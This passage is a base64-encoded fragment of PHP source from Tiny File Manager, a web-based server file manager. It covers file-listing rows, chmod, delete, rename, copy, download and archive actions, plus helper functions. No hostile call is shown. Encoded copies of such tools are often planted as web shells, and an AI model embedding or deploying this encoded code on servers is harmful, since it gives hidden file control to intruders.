yA6ICcnKSA/PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLW9yZGVyPSJhLTw/cGhwIGVjaG8gc3RyX3BhZCgkZmlsZXNpemVfcmF3LCAxOCwgIjAiLCBTVFJfUEFEX0xFRlQpOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGZpbGVzaXplOyA/PgogICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9ImEtPD9waHAgZWNobyAkZGF0ZV9zb3J0aW5nOyA/PiI+PD9waHAgZWNobyAkbW9kaWYgPz48L3RkPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PGEgdGl0bGU9IkNoYW5nZSBQZXJtaXNzaW9ucyIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PiI+PD9waHAgZWNobyAkcGVybXMgPz48L2E+PD9waHAgZWxzZTogPz48P3BocCBlY2hvICRwZXJtcyA/Pjw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRvd25lclsnbmFtZSddIC4gJzonIC4gJGdyb3VwWyduYW1lJ10gPz4KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImlubGluZS1hY3Rpb25zIj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4iIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtkZWw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+IiBvbmNsaWNrPSJjb25maXJtRGFpbG9nKGV2ZW50LCAnMTAyOCcsJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSAuICcgJyAuIGxuZygnRm9sZGVyJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+JywgdGhpcy5ocmVmKTsiPiA8aSBjbGFzcz0iZmEgZmEtdHJhc2gtbyIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+IiBocmVmPSIjIiBvbmNsaWNrPSJyZW5hbWUoJzw/cGhwIGVjaG8gZm1fZW5jKGFkZHNsYXNoZXMoRk1fUEFUSCkpID8+JywgJzw/cGhwIGVjaG8gZm1fZW5jKGFkZHNsYXNoZXMoJGYpKSA/PicpO3JldHVybiBmYWxzZTsiPjxpIGNsYXNzPSJmYSBmYS1wZW5jaWwtc3F1YXJlLW8iIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdDb3B5VG8nKSA/Pi4uLiIgaHJlZj0iP3A9JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICcvJyAuICRmLCAnLycpKSA/PiI+PGkgY2xhc3M9ImZhIGZhLWZpbGVzLW8iIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdEaXJlY3RMaW5rJykgPz4iIGhyZWY9Ijw/cGhwIGVjaG8gZm1fZW5jKEZNX1JPT1RfVVJMIC4gKEZNX1BBVEggIT0gJycgPyAnLycgLiBGTV9QQVRIIDogJycpIC4gJy8nIC4gJGYgLiAnLycpID8+IiB0YXJnZXQ9Il9ibGFuayI+PGkgY2xhc3M9ImZhIGZhLWxpbmsiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICRpaSsrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRpayA9IDgwMDI7CiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikgewogICAgICAgICAgICAgICAgJGlzX2xpbmsgPSBpc19saW5rKCRwYXRoIC4gJy8nIC4gJGYpOwogICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ZhIGZhLWZpbGUtdGV4dC1vJyA6IGZtX2dldF9maWxlX2ljb25fY2xhc3MoJHBhdGggLiAnLycgLiAkZik7CiAgICAgICAgICAgICAgICAkbW9kaWZfcmF3ID0gZmlsZW10aW1lKCRwYXRoIC4gJy8nIC4gJGYpOwogICAgICAgICAgICAgICAgJG1vZGlmID0gZGF0ZShGTV9EQVRFVElNRV9GT1JNQVQsICRtb2RpZl9yYXcpOwogICAgICAgICAgICAgICAgJGRhdGVfc29ydGluZyA9IHN0cnRvdGltZShkYXRlKCJGIGQgWSBIOmk6cy4iLCAkbW9kaWZfcmF3KSk7CiAgICAgICAgICAgICAgICAkZmlsZXNpemVfcmF3ID0gZm1fZ2V0X3NpemUoJHBhdGggLiAnLycgLiAkZik7CiAgICAgICAgICAgICAgICAkZmlsZXNpemUgPSBmbV9nZXRfZmlsZXNpemUoJGZpbGVzaXplX3Jhdyk7CiAgICAgICAgICAgICAgICAkZmlsZWxpbmsgPSAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSAuICcmYW1wO3ZpZXc9JyAuIHVybGVuY29kZSgkZik7CiAgICAgICAgICAgICAgICAkYWxsX2ZpbGVzX3NpemUgKz0gJGZpbGVzaXplX3JhdzsKICAgICAgICAgICAgICAgICRwZXJtcyA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRwYXRoIC4gJy8nIC4gJGYpKSwgLTQpOwogICAgICAgICAgICAgICAgJG93bmVyID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7IAogICAgICAgICAgICAgICAgJGdyb3VwID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7CiAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgewogICAgICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRvd25lcl9pZCA9IGZpbGVvd25lcigkcGF0aCAuICcvJyAuICRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pZCAhPSAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaW5mbyA9IHBvc2l4X2dldHB3dWlkKCRvd25lcl9pZCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG93bmVyX2luZm8pIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSAgJG93bmVyX2luZm87CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2lkID0gZmlsZWdyb3VwKCRwYXRoIC4gJy8nIC4gJGYpOwogICAgICAgICAgICAgICAgICAgICAgICAkZ3JvdXBfaW5mbyA9IHBvc2l4X2dldGdyZ2lkKCRncm91cF9pZCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZ3JvdXBfaW5mbykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gICRncm91cF9pbmZvOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yX2xvZygiZXhjZXB0aW9uOiIgLiAkZS0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY3VzdG9tLWNoZWNrYm94LXRkIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImN1c3RvbS1jb250cm9sIGN1c3RvbS1jaGVja2JveCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtaW5wdXQiIGlkPSI8P3BocCBlY2hvICRpayA/PiIgbmFtZT0iZmlsZVtdIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoJGYpID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImN1c3RvbS1jb250cm9sLWxhYmVsIiBmb3I9Ijw/cGhwIGVjaG8gJGlrID8+Ij48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+PD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2VuYygkZikgPz4+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZpbGVuYW1lIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoc3RydG9sb3dlcihwYXRoaW5mbygkZiwgUEFUSElORk9fRVhURU5TSU9OKSksIGFycmF5KCdnaWYnLCAnanBnJywgJ2pwZWcnLCAncG5nJywgJ2JtcCcsICdpY28nLCAnc3ZnJywgJ3dlYnAnLCAnYXZpZicpKSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgJGltYWdlUHJldmlldyA9IGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJy8nIC4gRk1fUEFUSCA6ICcnKSAuICcvJyAuICRmKTsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI8P3BocCBlY2hvICRmaWxlbGluayA/PiIgZGF0YS1wcmV2aWV3LWltYWdlPSI8P3BocCBlY2hvICRpbWFnZVByZXZpZXcgPz4iIHRpdGxlPSI8P3BocCBlY2hvIGZtX2VuYygkZikgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ijw/cGhwIGVjaG8gJGZpbGVsaW5rID8+IiB0aXRsZT0iPD9waHAgZWNobyAkZiA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iPD9waHAgZWNobyAkaW1nID8+Ij48L2k+IDw/cGhwIGVjaG8gZm1fY29udmVydF93aW4oZm1fZW5jKCRmKSkgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICgkaXNfbGluayA/ICcgJnJhcnI7IDxpPicgLiByZWFkbGluaygkcGF0aCAuICcvJyAuICRmKSAuICc8L2k+JyA6ICcnKSA/PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLW9yZGVyPSJiLTw/cGhwIGVjaG8gc3RyX3BhZCgkZmlsZXNpemVfcmF3LCAxOCwgIjAiLCBTVFJfUEFEX0xFRlQpOyA/PiI+PHNwYW4gdGl0bGU9Ijw/cGhwIHByaW50ZignJXMgYnl0ZXMnLCAkZmlsZXNpemVfcmF3KSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRmaWxlc2l6ZTsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9ImItPD9waHAgZWNobyAkZGF0ZV9zb3J0aW5nOyA/PiI+PD9waHAgZWNobyAkbW9kaWYgPz48L3RkPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PjxhIHRpdGxlPSI8P3BocCBlY2hvICdDaGFuZ2UgUGVybWlzc2lvbnMnID8+IiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y2htb2Q9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+Ij48P3BocCBlY2hvICRwZXJtcyA/PjwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvIGZtX2VuYygkb3duZXJbJ25hbWUnXSAuICc6JyAuICRncm91cFsnbmFtZSddKSA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJpbmxpbmUtYWN0aW9ucyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PiIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2RlbD08P3BocCBlY2hvIHVybGVuY29kZSgkZikgPz4iIG9uY2xpY2s9ImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMDksICc8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgLiAnICcgLiBsbmcoJ0ZpbGUnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTsiPiA8aSBjbGFzcz0iZmEgZmEtdHJhc2gtbyI+PC9pPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnUmVuYW1lJykgPz4iIGhyZWY9IiMiIG9uY2xpY2s9InJlbmFtZSgnPD9waHAgZWNobyBmbV9lbmMoYWRkc2xhc2hlcyhGTV9QQVRIKSkgPz4nLCAnPD9waHAgZWNobyBmbV9lbmMoYWRkc2xhc2hlcygkZikpID8+Jyk7cmV0dXJuIGZhbHNlOyI+PGkgY2xhc3M9ImZhIGZhLXBlbmNpbC1zcXVhcmUtbyI+PC9pPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi4iCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJy8nIC4gJGYsICcvJykpID8+Ij48aSBjbGFzcz0iZmEgZmEtZmlsZXMtbyI+PC9pPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnRGlyZWN0TGluaycpID8+IiBocmVmPSI8P3BocCBlY2hvIGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJy8nIC4gRk1fUEFUSCA6ICcnKSAuICcvJyAuICRmKSA/PiIgdGFyZ2V0PSJfYmxhbmsiPjxpIGNsYXNzPSJmYSBmYS1saW5rIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0Rvd25sb2FkJykgPz4iIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtkbD08P3BocCBlY2hvIHVybGVuY29kZSgkZikgPz4iIG9uY2xpY2s9ImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMTEsICc8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTsiPjxpIGNsYXNzPSJmYSBmYS1kb3dubG9hZCI+PC9pPjwvYT4KICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAkaWsrKzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKGVtcHR5KCRmb2xkZXJzKSAmJiBlbXB0eSgkZmlsZXMpKSB7ID8+CiAgICAgICAgICAgICAgICA8dGZvb3Q+CiAgICAgICAgICAgICAgICAgICAgPHRyPjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjwvdGQ+PD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/ICc2JyA6ICc0JyA/PiI+PGVtPjw/cGhwIGVjaG8gbG5nKCdGb2xkZXIgaXMgZW1wdHknKSA/PjwvZW0+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90Zm9vdD4KICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgfSBlbHNlIHsgPz4KICAgICAgICAgICAgICAgIDx0Zm9vdD4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iZ3JheSBmcy03IiBjb2xzcGFuPSI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/IChGTV9SRUFET05MWSA/ICc2JyA6ICc3JykgOiAoRk1fUkVBRE9OTFkgPyAnNCcgOiAnNScpID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdGdWxsU2l6ZScpIC4gJzogPHNwYW4gY2xhc3M9ImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wIj4nIC4gZm1fZ2V0X2ZpbGVzaXplKCRhbGxfZmlsZXNfc2l6ZSkgLiAnPC9zcGFuPicgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdGaWxlJykgLiAnOiA8c3BhbiBjbGFzcz0iYmFkZ2UgdGV4dC1iZy1saWdodCBib3JkZXItcmFkaXVzLTAiPicgLiAkbnVtX2ZpbGVzIC4gJzwvc3Bhbj4nID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnRm9sZGVyJykgLiAnOiA8c3BhbiBjbGFzcz0iYmFkZ2UgdGV4dC1iZy1saWdodCBib3JkZXItcmFkaXVzLTAiPicgLiAkbnVtX2ZvbGRlcnMgLiAnPC9zcGFuPicgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90Zm9vdD4KICAgICAgICAgICAgPD9waHAgfSA/PgogICAgICAgIDwvdGFibGU+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wteHMtMTIgY29sLXNtLTkiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYnRuLWdyb3VwIGZsZXgtd3JhcCIgZGF0YS10b2dnbGU9ImJ1dHRvbnMiIHJvbGU9InRvb2xiYXIiPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9IiMvc2VsZWN0LWFsbCIgY2xhc3M9ImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMiIgb25jbGljaz0ic2VsZWN0X2FsbCgpO3JldHVybiBmYWxzZTsiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1zcXVhcmUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1NlbGVjdEFsbCcpID8+IDwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIjL3Vuc2VsZWN0LWFsbCIgY2xhc3M9ImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMiIgb25jbGljaz0idW5zZWxlY3RfYWxsKCk7cmV0dXJuIGZhbHNlOyI+PGkgY2xhc3M9ImZhIGZhLXdpbmRvdy1jbG9zZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnVW5TZWxlY3RBbGwnKSA/PiA8L2E+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIy9pbnZlcnQtYWxsIiBjbGFzcz0iYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yIiBvbmNsaWNrPSJpbnZlcnRfYWxsKCk7cmV0dXJuIGZhbHNlOyI+PGkgY2xhc3M9ImZhIGZhLXRoLWxpc3QiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0ludmVydFNlbGVjdGlvbicpID8+IDwvYT4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iaGlkZGVuIiBuYW1lPSJkZWxldGUiIGlkPSJhLWRlbGV0ZSIgdmFsdWU9IkRlbGV0ZSIgb25jbGljaz0icmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/Jyk7ID8+JykiPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtZGVsZXRlJykuY2xpY2soKTsiIGNsYXNzPSJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTIiPjxpIGNsYXNzPSJmYSBmYS10cmFzaCI+PC9pPiA8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4gPC9hPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJoaWRkZW4iIG5hbWU9InppcCIgaWQ9ImEtemlwIiB2YWx1ZT0iemlwIiBvbmNsaWNrPSJyZXR1cm4gY29uZmlybSgnPD9waHAgZWNobyBsbmcoJ0NyZWF0ZSBhcmNoaXZlPycpOyA/PicpIj4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLXppcCcpLmNsaWNrKCk7IiBjbGFzcz0iYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yIj48aSBjbGFzcz0iZmEgZmEtZmlsZS1hcmNoaXZlLW8iPjwvaT4gPD9waHAgZWNobyBsbmcoJ1ppcCcpID8+IDwvYT4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iaGlkZGVuIiBuYW1lPSJ0YXIiIGlkPSJhLXRhciIgdmFsdWU9InRhciIgb25jbGljaz0icmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdDcmVhdGUgYXJjaGl2ZT8nKTsgPz4nKSI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS10YXInKS5jbGljaygpOyIgY2xhc3M9ImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMiI+PGkgY2xhc3M9ImZhIGZhLWZpbGUtYXJjaGl2ZS1vIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdUYXInKSA/PiA8L2E+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImhpZGRlbiIgbmFtZT0iY29weSIgaWQ9ImEtY29weSIgdmFsdWU9IkNvcHkiPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtY29weScpLmNsaWNrKCk7IiBjbGFzcz0iYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yIj48aSBjbGFzcz0iZmEgZmEtZmlsZXMtbyI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ29weScpID8+IDwvYT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLTMgZC1ub25lIGQtc20tYmxvY2siPjxhIGhyZWY9Imh0dHBzOi8vdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pbyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmbG9hdC1yaWdodCB0ZXh0LW11dGVkIj5UaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PC9hPjwvZGl2PgogICAgICAgIDw/cGhwIGVsc2U6ID8+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC0xMiI+PGEgaHJlZj0iaHR0cHM6Ly90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvIiB0YXJnZXQ9Il9ibGFuayIgY2xhc3M9ImZsb2F0LXJpZ2h0IHRleHQtbXV0ZWQiPlRpbnkgRmlsZSBNYW5hZ2VyIDw/cGhwIGVjaG8gVkVSU0lPTjsgPz48L2E+PC9kaXY+CiAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICA8L2Rpdj4KPC9mb3JtPgoKPD9waHAKZm1fc2hvd19mb290ZXIoKTsKCi8vIC0tLSBFTkQgSFRNTCAtLS0KCi8vIEZ1bmN0aW9ucwoKLyoqCiAqIEl0IHByaW50cyB0aGUgY3NzL2pzIGZpbGVzIGludG8gaHRtbAogKiBAcGFyYW0ga2V5IFRoZSBrZXkgb2YgdGhlIGV4dGVybmFsIGZpbGUgdG8gcHJpbnQuCiAqLwpmdW5jdGlvbiBwcmludF9leHRlcm5hbCgka2V5KQp7CiAgICBnbG9iYWwgJGV4dGVybmFsOwoKICAgIGlmICghYXJyYXlfa2V5X2V4aXN0cygka2V5LCAkZXh0ZXJuYWwpKSB7CiAgICAgICAgLy8gdGhyb3cgbmV3IEV4Y2VwdGlvbignS2V5IG1pc3NpbmcgaW4gZXh0ZXJuYWw6ICcgLiBrZXkpOwogICAgICAgIGVjaG8gIjwhLS0gRVhURVJOQUw6IE1JU1NJTkcgS0VZICRrZXkgLS0+IjsKICAgICAgICByZXR1cm47CiAgICB9CgogICAgZWNobyAiJGV4dGVybmFsWyRrZXldIjsKfQoKLyoqCiAqIFZlcmlmeSBDU1JGIFRPS0VOIGFuZCByZW1vdmUgYWZ0ZXIgY2VydGlmaWVkCiAqIEBwYXJhbSBzdHJpbmcgJHRva2VuCiAqIEByZXR1cm4gYm9vbAogKi8KZnVuY3Rpb24gdmVyaWZ5VG9rZW4oJHRva2VuKQp7CiAgICBpZiAoaGFzaF9lcXVhbHMoJF9TRVNTSU9OWyd0b2tlbiddLCAkdG9rZW4pKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICByZXR1cm4gZmFsc2U7Cn0KCi8qKgogKiBEZWxldGUgIGZpbGUgb3